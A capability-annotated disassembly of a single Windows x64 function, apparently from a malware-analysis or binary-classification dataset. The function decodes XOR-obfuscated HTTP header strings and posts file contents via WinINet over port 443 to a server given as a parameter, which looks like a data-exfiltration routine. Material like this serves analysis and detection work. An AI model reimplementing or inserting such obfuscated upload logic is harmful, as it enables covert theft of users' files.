Function at 0x1400037d8
Capabilities:
Connect to http server
Create http request
Encode data using xor
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x7a8
mov rsi, r8
mov r15, rcx
mov r14, rdx
mov edx, 0x30
lea rax, [rsp + 0x98]
mov r13, r9
lea rdi, [rsp + 0xb8]
mov rcx, rax
mov qword [rsp + 0x50], rax
call fcn.140003678
or r8, 0xffffffffffffffff
lea rdx, [0x1400d70be]
mov rcx, rsi
call fcn.1400357d0
or r9, 0xffffffffffffffff
mov rdx, rsi
mov rcx, rdi
lea r8, [rax + 1]
mov qword [rsp + 0x60], rdi
call fcn.140036390
movabs rax, 0x4d575c4d57567a39
lea rdx, [rsp + 0x3cc]
mov dword [rsp + 0x3c8], 0x404b585d
mov qword [rsp + 0x3a0], rax
movabs rax, 0x5419035c49406d14
mov qword [rsp + 0x3a8], rax
movabs rax, 0x4d4b5849504d554c
mov qword [rsp + 0x3b0], rax
movabs rax, 0x585d14544b565f16
mov qword [rsp + 0x3b8], rax
movabs rax, 0x574c565b1902584d
mov word [rsp + 0x3cc], 4
mov qword [rsp + 0x3c0], rax
lea rax, [rsp + 0x3a0]
mov rbx, rax
xor byte [rax + 1], 0x39
inc rax
cmp rax, rdx
jne 0x1400038c6
lea rax, [rsp + 0xd8]
mov r8, qword [rsp + 0x50]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x3a1]
mov rcx, qword [rsp + 0x68]
mov rdx, rax
mov qword [rsp + 0x70], rax
call fcn.1400cb860
mov byte [rsp + 0x3ee], 0
lea rdx, [rsp + 0x3ed]
movabs rax, 0x455f54455f5e7231
mov qword [rsp + 0x3a0], rax
movabs rax, 0x50110b544148651c
mov qword [rsp + 0x3a8], rax
movabs rax, 0x58455052585d4141
mov qword [rsp + 0x3b0], rax
movabs rax, 0x455445525e1e5f5e
mov qword [rsp + 0x3b8], rax
movabs rax, 0x3c5c50544345421c
mov qword [rsp + 0x3c0], rax
movabs rax, 0x455f54455f5e723b
mov qword [rsp + 0x3c8], rax
movabs rax, 0x5457425f5043651c
mov qword [rsp + 0x3d0], rax
movabs rax, 0x5e525f741c43
mov qword [rsp + 0x3d8], rax
movabs rax, 0x5853110b565f5855
mov qword [rsp + 0x3de], rax
movabs rax, 0x3b3c3b3c4843505f
mov qword [rsp + 0x3e6], rax
mov rax, rbx
xor byte [rax + 1], 0x31
inc rax
cmp rdx, rax
jne 0x1400039c5
mov byte [rsp + 0x1f0], 0
lea rdx, [rsp + 0x1ef]
movabs rax, 0x514b40514b4a6625
mov qword [rsp + 0x1b8], rax
movabs rax, 0x4c564a55564c6108
mov qword [rsp + 0x1c0], rax
movabs rax, 0x4a43051f4b4a4c51
mov qword [rsp + 0x1c8], rax
movabs rax, 0x1e44514441084857
mov qword [rsp + 0x1d0], rax
movabs rax, 0x4307184048444b05
mov qword [rsp + 0x1d8], rax
movabs rax, 0x4c43051e0740494c
mov qword [rsp + 0x1e0], rax
movabs rax, 0x7184048444b4049
mov qword [rsp + 0x1e8], rax
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0x48], rax
xor byte [rax + 1], 0x25
inc rax
cmp rax, rdx
jne 0x140003a6c
lea rbp, [rsp + 0x118]
mov r8, qword [rsp + 0x50]
lea rdx, [0x1400d7123]
mov rcx, rbp
call fcn.1400cb860
lea rax, [rsp + 0x138]
lea r8, [0x1400d7126]
mov rdx, rbp
mov rcx, rax
mov qword [rsp + 0x58], rax
call fcn.1400cb830
lea rdi, [rsp + 0x158]
mov rdx, qword [rsp + 0x58]
lea r8, [rsp + 0x1b9]
mov rcx, rdi
call fcn.1400cb830
mov rdx, qword [rsp + 0x60]
mov rcx, rdi
call fcn.1400acd30
lea r12, [rsp + 0x178]
mov rdx, rax
lea rdi, [rsp + 0x198]
mov rcx, r12
call fcn.1400ae470
lea r8, [0x1400d7129]
mov rdx, r12
mov rcx, rdi
call fcn.1400cb830
mov r8, qword [rsp + 0x70]
lea rcx, [rsp + 0xf8]
mov rdx, rdi
call fcn.1400cb830
mov rcx, rdi
call fcn.1400ab650
mov rcx, r12
call fcn.1400ab650
lea rax, [rsp + 0x158]
mov rcx, rax
mov qword [rsp + 0x78], rax
call fcn.1400ab650
mov rcx, qword [rsp + 0x58]
call fcn.1400ab650
mov rcx, rbp
call fcn.1400ab650
mov r8, qword [rsp + 0x50]
lea rdx, str._r_n__
mov rcx, rbx
call fcn.1400cb860
mov rcx, qword [rsp + 0x78]
lea r8, str.___r_n
mov rdx, rbx
call fcn.1400cb830
mov rcx, rbx
call fcn.1400ab650
mov rcx, qword [rsp + 0x48]
mov r8d, 6
mov rdx, rsi
call fcn.14009b5d0
lea rcx, [rsp + 0x210]
call fcn.14002dd10
test al, al
je 0x140003fd5
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x80]
call fcn.14007de90
mov rcx, qword [rsp + 0x48]
xor r8d, r8d
xor edx, edx
mov r12, qword [rsp + 0x80]
call fcn.14007dd80
test r12, r12
jns 0x140003be8
lea rcx, str.cannot_create_std::vector_larger_than_max_size__
call fcn.1400d0e60
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x140], 0
mov qword [rsp + 0x148], 0
je 0x140003c1b
mov rcx, r12
call fcn.1400ce4d0
mov rsi, rax
jmp 0x140003c1d
xor esi, esi
lea rdx, [rsi + r12]
mov qword [rsp + 0x138], rsi
mov rbp, rsi
mov qword [rsp + 0x148], rdx
test r12, r12
je 0x140003c52
mov rcx, r12
mov byte [rsi], 0
lea rbp, [rsi + 1]
dec rcx
je 0x140003c52
mov rdi, rbp
xor eax, eax
mov rbp, rdx
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x48]
mov r8, r12
mov rdx, rsi
mov qword [rsp + 0x140], rbp
call fcn.14007d9c0
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rdx - 0x18]
test byte [rax + rdx + 0x20], 5
je 0x140003c8c
call fcn.14009b1f0
mov ebx, 0xe2
jmp 0x140003fc6
call fcn.14009b1f0
lea rax, [rsp + 0x1a8]
xor r12d, r12d
lea rdi, [rsp + 0x198]
mov qword [rsp + 0x198], rax
mov rax, rbp
sub rax, rsi
mov qword [rsp + 0x1a0], r12
mov qword [rsp + 0x3a0], rax
cmp rax, 0xf
jbe 0x140003cee
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call fcn.1400ae210
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x3a0]
mov qword [rsp + 0x1a8], rax
mov rdx, qword [rsp + 0x198]
sub rbp, rsi
xor eax, eax
cmp rbp, rax
je 0x140003d0b
mov cl, byte [rsi + rax]
mov byte [rdx + rax], cl
inc rax
jmp 0x140003cfb
mov rax, qword [rsp + 0x3a0]
mov rdx, qword [rsp + 0x198]
lea rcx, [rsp + 0x198]
lea r8, [rsp + 0xf8]
mov qword [rsp + 0x1a0], rax
mov byte [rdx + rax], 0
xor edx, edx
call fcn.1400ad3d0
mov rdx, rax
mov rcx, rbx
call fcn.1400ae470
lea rdx, [rsp + 0x158]
mov rcx, rbx
call fcn.1400acd30
mov rdx, rax
lea rcx, [rsp + 0x178]
call fcn.1400ae470
mov rcx, rbx
call fcn.1400ab650
mov rcx, rdi
call fcn.1400ab650
mov word [rsp + 0x3a8], 0x19
movabs rax, 0x61907787c7c6028
mov qword [rsp + 0x3a0], rax
lea rax, [rsp + 0x3a8]
xor byte [rbx + 1], 0x28
inc rbx
cmp rbx, rax
jne 0x140003d9d
xor edi, edi
mov rcx, qword [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], edi
mov edx, 1
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbx, rax
test rax, rax
je 0x140003fb4
xor r10d, r10d
xor r11d, r11d
xor esi, esi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x38], r10
xor r9d, r9d
mov r8d, 0x1bb
mov rcx, rax
mov dword [rsp + 0x30], r11d
mov qword [rsp + 0x20], rsi
mov rdx, qword [r15]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rdi, rax
test rax, rax
jne 0x140003e20
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, 0xe5
jmp 0x140003fb9
mov dword [rsp + 0x3a0], 0x49554a1a
mov r8, qword [r14]
lea rax, [rsp + 0x3a0]
lea rdx, [rsp + 0x3a4]
mov word [rsp + 0x3a4], 0x4e
xor byte [rax + 1], 0x1a
inc rax
cmp rdx, rax
jne 0x140003e48
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x30], 0x800000
lea rdx, [rsp + 0x3a1]
mov qword [rsp + 0x38], rcx
mov rcx, rdi
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x20], r9
xor r9d, r9d
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rsi, rax
test rax, rax
jne 0x140003ea7
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call rsi
mov rcx, rbx
call rsi
mov ebx, 0xe4
jmp 0x140003fb9
mov r9d, 4
lea r8, [rsp + 0x118]
mov edx, 6
mov rcx, rax
mov dword [rsp + 0x118], 0xea60
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rax, qword [rsp + 0x180]
mov r9, qword [rsp + 0x178]
mov rcx, rsi
mov r8d, dword [rsp + 0xe0]
mov rdx, qword [rsp + 0xd8]
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x140003f34
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rsi
mov ebp, eax
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rsi
mov rcx, rdi
call rsi
mov rcx, rbx
call rsi
xor ebx, ebx
cmp ebp, 0x2ee2
sete bl
lea ebx, [rbx*4 + 0xe3]
jmp 0x140003fb9
mov rax, qword [r13]
xor edx, edx
mov r14, qword [sym.imp.WININET.dll_InternetReadFile]
lea r12, [rsp + 0x198]
mov qword [r13 + 8], rdx
lea rbp, [rsp + 0x3a0]
mov byte [rax], 0
xor eax, eax
mov r9, r12
mov r8d, 0x3ff
mov rdx, rbp
mov dword [rsp + 0x198], eax
mov rcx, rsi
call r14
test eax, eax
je 0x140003f97
mov eax, dword [rsp + 0x198]
test eax, eax
je 0x140003f97
mov rdx, rbp
mov rcx, r13
mov byte [rsp + rax + 0x3a0], 0
call fcn.1400acbc0
jmp 0x140003f58
mov rcx, rsi
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rsi
mov rcx, rdi
call rsi
mov rcx, rbx
call rsi
mov ebx, 0xe8
jmp 0x140003fb9
mov ebx, 0xe6
lea rcx, [rsp + 0x178]
call fcn.1400ab650
mov rcx, qword [rsp + 0x58]
call fcn.1400aa7a0
jmp 0x1400040d8
mov ebx, 0xe1
jmp 0x1400040d8
mov rcx, qword [rsp + 0x48]
call fcn.14009bcf0
mov rcx, qword [rsp + 0x78]
call fcn.1400ab650
lea rcx, [rsp + 0xf8]
call fcn.1400ab650
mov rcx, qword [rsp + 0x68]
call fcn.1400ab650
mov rcx, qword [rsp + 0x60]
call fcn.1400ab650
mov rcx, qword [rsp + 0x50]
call fcn.1400ab650
mov eax, ebx
add rsp, 0x7a8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret